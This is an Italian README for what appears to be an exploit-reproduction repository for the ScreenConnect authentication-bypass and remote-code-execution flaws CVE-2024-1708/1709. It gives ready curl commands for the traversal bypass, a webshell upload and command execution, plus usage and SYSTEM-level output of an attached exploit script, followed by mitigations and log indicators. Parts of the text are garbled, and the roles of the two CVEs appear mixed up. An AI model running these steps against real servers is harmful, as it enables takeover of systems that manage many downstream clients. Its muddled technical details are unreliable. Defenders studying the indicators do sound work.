Riproduzione di cve-2024-1708-connectwise_rce_reproduction
Punteggio CVSS: 8.4 (CVE-2024-1708) – 10.0 (CVE-2024-1709)
CWE: CWE-22 (Path Traversal), CWE-288 (Authentication Bypass Using an Alternate Path)
Software interessato: ConnectWise ScreenConnect (in precedenza ScreenConnect) ≤ 23.9.7
Scoperta e segnalazione: febbraio 2024
Sfruttato in-the-wild: LockBit, Black Basta, Bl00dy e altri affiliati ransomware
Le CVE-2024-1708 e CVE-2024-1709 sono una coppia di vulnerabilità concatenate in ConnectWise ScreenConnect (in precedenza ConnectWise Control) che, insieme, consentono a un attaccante remoto non autenticato di ottenere piena esecuzione remota di codice sul server ScreenConnect.
CVE-2024-1708 — Bypass dell'autenticazione tramite Path Traversal. L'endpoint (e gli endpoint correlati di configurazione/aggiornamento) non sanitizza correttamente le sequenze di path traversal fornite dall'utente (). Un attaccante non autenticato può attraversare al di fuori della directory di configurazione prevista e raggiungere endpoint che dovrebbero richiedere l'autenticazione. Poiché la procedura guidata viene eseguita nel contesto dell'account (Windows) o (Linux), l'attaccante eredita privilegi elevati.
SetupWizard.aspx../CVE-2024-1709 — Caricamento file senza restrizioni che porta a RCE. Una volta bypassata l'autenticazione, un attaccante può caricare un file .aspx arbitrario o un altro file eseguibile nella web root. Richiedendo successivamente il file caricato, il codice arbitrario viene eseguito sul server.
Queste vulnerabilità sono state massicciamente sfruttate a partire dal 19 febbraio 2024 da diversi gruppi ransomware:
| Gruppo ransomware | Note sulla campagna |
|---|---|
| LockBit | Scansione estesa delle istanze ScreenConnect; utilizzato per distribuire l'encryptor LockBit a valle. |
| Black Basta | Ha sfruttato l'accesso ai MSP per spostarsi lateralmente nelle reti dei clienti gestiti. |
| Bl00dy | Campagne su scala ridotta mirate a server ScreenConnect non aggiornati. |
Poiché ScreenConnect è comunemente distribuito dai Managed Service Provider (MSP) per gestire da remoto centinaia di endpoint client a valle, un singolo server ScreenConnect compromesso abilita un attacco alla supply chain — ogni client con un agente collegato a quel server ScreenConnect è a rischio.
Il server ScreenConnect espone una procedura guidata di configurazione all'indirizzo:
/SetupWizard.aspx/
In determinati stati di aggiornamento/riparazione, il server non applica l'autenticazione perché presume che la procedura guidata di configurazione sia l'esperienza del primo avvio. Il difetto critico risiede nel modo in cui il server elabora il cookie __Session o le intestazioni Transfer-Encoding / Content-Type quando si accede a percorsi sotto il namespace della procedura guidata.
Inviando una richiesta a:
/SetupWizard.aspx/../../ScreenConnect/Login.aspx
il path traversal annulla il contesto della "procedura guidata di configurazione", mentre il server continua a ritenere applicabile il contesto di sessione non autenticato. L'attaccante viene reindirizzato o riceve pagine come se fosse autenticato.
Vettore alternativo: i gestori PrepareUpgrade.aspx / PostUpgrade.aspx mancano anch'essi dei controlli di autenticazione ed espongono funzionalità di caricamento file.
Una volta che l'attaccante raggiunge un endpoint autenticato (o colpisce direttamente il gestore di caricamento file nel contesto della configurazione), può caricare una webshell .aspx dannosa:
POST /SetupWizard.aspx/../../ScreenConnect/UploadFile.aspx
Content-Type: multipart/form-data; boundary=----BOUNDARY
------BOUNDARY
Content-Disposition: form-data; name="file"; filename="shell.aspx"
Content-Type: application/octet-stream
<%@ Page Language="C#" %>...
------BOUNDARY--
Il file viene scritto nella directory dell'applicazione web (ad es., C:\Program Files\ScreenConnect\Website\). Richiedere la shell caricata la esegue con l'identità del server.
SetupWizard.aspx si fida del fatto che qualsiasi richiesta sotto la sua rotta faccia parte del processo di configurazione e debba bypassare l'autenticazione — ma il path traversal rompe questa assunzione.../ o del traversal di symlink.| Intervallo di versioni | Stato |
|---|---|
| 23.9.7 e precedenti | Vulnerabile |
| 23.9.8 | Corretta (rilasciata il 20 febbraio 2024) |
| 23.9.9 | Corretta |
| 23.9.10 (ultima) | Corretta |
Nota: I server ScreenConnect self-hosted (on-premise) sono i principali bersagli. Le istanze ScreenConnect ospitate da ConnectWise (cloud) sono state corrette prima della divulgazione pubblica e non sono mai state vulnerabili.
C:\Program Files\ScreenConnect\/opt/screenconnect/# Check the version
curl -s http://<target>:8040/ | Select-String "ScreenConnect"
Oppure accedere all'interfaccia web e annotare il numero di versione nel sorgente della pagina.
curl -v --path-as-is "http://<target>:8040/SetupWizard.aspx/../../ScreenConnect/Login.aspx"
Comportamento atteso su un server vulnerabile:
curl -X POST "http://<target>:8040/SetupWizard.aspx/../../ScreenConnect/UploadFile.aspx" \
-H "Content-Type: multipart/form-data; boundary=----BOUNDARY" \
-F "[email protected]"
curl "http://<target>:8040/shell.aspx?cmd=whoami"
Lo script exploit.py allegato automatizza i passaggi precedenti:
usage: exploit.py [-h] -t TARGET [-p PORT] [-c COMMAND] [--ssl]
Exploit CVE-2024-1708/1709 - ConnectWise ScreenConnect Auth Bypass + RCE
options:
-h, --help show this help message and exit
-t TARGET, --target TARGET
Target hostname or IP
-p PORT, --port PORT Target port (default: 8040)
-c COMMAND, --command COMMAND
Command to execute (default: whoami)
--ssl Use HTTPS
Example:
python exploit.py -t 192.168.1.100 -p 8040 -c "whoami"
$ python exploit.py -t 192.168.1.100 -c "whoami"
[*] Target: 192.168.1.100:8040
[*] Using SSL: False
[*] Step 1: Testing path traversal for auth bypass...
[+] Target appears vulnerable! Server version: 23.9.7
[*] Step 2: Uploading webshell...
[+] Webshell uploaded to: http://192.168.1.100:8040/PoCsAccSwLgSdE.aspx
[*] Step 3: Executing command 'whoami'...
[+] Output:
nt authority\system
| Controllo | Implementazione |
|---|---|
| Regole WAF | Bloccare le richieste contenenti ../ nel percorso URL dopo /SetupWizard.aspx/ |
| Segmentazione di rete | Collocare ScreenConnect in una VLAN di gestione segregata con filtro di uscita (egress) rigoroso |
| Controllo accessi | Limitare l'accesso all'interfaccia web di ScreenConnect solo a intervalli IP fidati |
| Monitoraggio | Generare alert per richieste a /SetupWizard.aspx/ da fonti esterne o per creazione inaspettata di file .aspx in ScreenConnect\Website\ |
| MFA | Sebbene la MFA non bloccherebbe questo attacco (il bypass dell'autenticazione avviene prima del login), applicarla su tutti gli account amministrativi per una difesa in profondità |
Cercare i seguenti IoC nei log del web server:
GET /SetupWizard.aspx/../../ScreenConnect/
POST /SetupWizard.aspx/../../ScreenConnect/UploadFile.aspx
GET /*.aspx?cmd=
| Fonte | URL |
|---|---|
| NVD - CVE-2024-1708 | https://nvd.nist.gov/vuln/detail/CVE-2024-1708 |
| NVD - CVE-2024-1709 | https://nvd.nist.gov/vuln/detail/CVE-2024-1709 |
| ConnectWise Security Advisory | https://www.connectwise.com/company/trust/security-advisories |
| Huntress Labs - Divulgazione iniziale | https://www.huntress.com/blog/mass-exploitation-of-connectwise-screenconnect |
| CISA Known Exploited Vulnerabilities | https://www.cisa.gov/known-exploited-vulnerabilities |
| ATT&CK Technique: External Remote Services (T1133) | https://attack.mitre.org/techniques/T1133/ |
Questo repository è fornito solo per scopi educativi e di ricerca sulla sicurezza autorizzata. I test non autorizzati contro sistemi che non si possiedono o per cui non si ha esplicito permesso scritto sono illegali. Gli autori non sono responsabili dell'uso improprio di queste informazioni.